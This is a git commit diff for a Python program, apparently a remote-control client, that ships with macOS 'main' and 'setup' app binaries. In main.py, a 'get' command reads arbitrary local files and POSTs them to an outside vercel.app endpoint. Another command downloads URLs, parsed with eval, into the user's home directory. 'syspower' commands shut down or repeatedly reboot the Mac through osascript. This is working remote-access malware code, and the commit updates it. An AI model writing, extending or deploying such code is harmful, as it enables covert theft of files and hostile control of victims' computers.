summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-09-03 10:20:25 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-09-03 10:20:25 +0800
commit7792884d2f3db6b26af852a06dfc20fc767040f2 (patch)
tree8c55c7ce9ff81e642403af54c2475534c696098f
parent1e99eabb350b488e4474c7dbb1a953b1f383eed7 (diff)
updated \& fixed syspower func .syspower file
-rw-r--r--a.jpgbin0 -> 16007 bytes
-rwxr-xr-xdist/main-macbin11070048 -> 7459408 bytes
-rw-r--r--dist/main.app.zipbin10954728 -> 7384635 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin11070048 -> 7459408 bytes
-rwxr-xr-xdist/setup-macbin11059232 -> 7448384 bytes
-rw-r--r--dist/setup.app.zipbin10943596 -> 7373229 bytes
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin11059232 -> 7448384 bytes
-rw-r--r--main.py20
-rw-r--r--output.txt1
-rw-r--r--test.txt1
10 files changed, 12 insertions, 10 deletions
diff --git a/a.jpg b/a.jpg
new file mode 100644
index 0000000..f86f409
--- /dev/null
+++ b/a.jpg
Binary files differ
diff --git a/dist/main-mac b/dist/main-mac
index fe921b0..8aebc6d 100755
--- a/dist/main-mac
+++ b/dist/main-mac
Binary files differ
diff --git a/dist/main.app.zip b/dist/main.app.zip
index 907c750..a4fef6a 100644
--- a/dist/main.app.zip
+++ b/dist/main.app.zip
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index daf8dc6..8d71013 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup-mac b/dist/setup-mac
index 90ceace..3d805ed 100755
--- a/dist/setup-mac
+++ b/dist/setup-mac
Binary files differ
diff --git a/dist/setup.app.zip b/dist/setup.app.zip
index a39b178..5e72484 100644
--- a/dist/setup.app.zip
+++ b/dist/setup.app.zip
Binary files differ
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
index 96b77bb..be03c0f 100755
--- a/dist/setup.app/Contents/MacOS/setup
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/main.py b/main.py
index 5b13106..083e669 100644
--- a/main.py
+++ b/main.py
@@ -4,7 +4,7 @@ try:
from time import sleep
from subprocess import Popen as system
from subprocess import PIPE
- from os import chdir, uname, devnull, getcwd
+ from os import chdir, uname, devnull, getcwd, basename
from sys import platform, stdout, stderr
old_command = ""
@@ -72,8 +72,12 @@ while True:
if command.startswith("get "):
localcmd = command.split()
path = localcmd[1]
- open("output.txt", 'wb').write(open(str("../"+path), 'rb').read())
- file = [str(path), open("output.txt", 'rb').read()]
+ try:
+ open("output.txt", 'wb').write(open(str("../"+path), 'r').read())
+ file = [str(path), open("output.txt", 'r').read()]
+ except UnicodeDecodeError:
+ open("output.txt", 'wb').write(open(str("../"+path), 'rb').read())
+ file = [str(path), open("output.txt", 'rb').read()]
file = "FILE " + str(file)
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file)
@@ -86,8 +90,8 @@ while True:
files = eval(localcmd[1])
for fileUrl in files:
fileData = get(fileUrl).content
- fileName = path.basename(fileUrl)
- filePath = os.path.expanduser("~")
+ fileName = basename(fileUrl)
+ filePath = expanduser("~")
with open(f"{filePath}/{fileName}", 'wb') as f:
f.write(fileData)
f.close()
@@ -171,7 +175,7 @@ while True:
exit()
elif command.startswith('syspower'):
localcmd = command.split()
- if localcmd[1<len(localcmd)] and not path.exists(expanduser('~')/'.syspower'):
+ if localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"):
try:
if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff':
if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0:
@@ -243,11 +247,11 @@ while True:
except KeyboardInterrupt:
continue
continue
- open(f"{expanduser('~')/.syspower}", 'w').close()
+ open(f"{expanduser('~')}/.syspower", 'w').close()
except:
continue
- elif localcmd[1<len(localcmd)] and not path.exists(expanduser('~')/'.syspower'):
+ elif localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"):
if localcmd[1] == 'keepreboot':
if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0:
try:
diff --git a/output.txt b/output.txt
index 2e2e69c..e69de29 100644
--- a/output.txt
+++ b/output.txt
@@ -1 +0,0 @@
-testing===IF YOU SEE THIS MESSAGE ITS WORKING! \ No newline at end of file
diff --git a/test.txt b/test.txt
deleted file mode 100644
index 3a8c544..0000000
--- a/test.txt
+++ /dev/null
@@ -1 +0,0 @@
-asdfdasfhib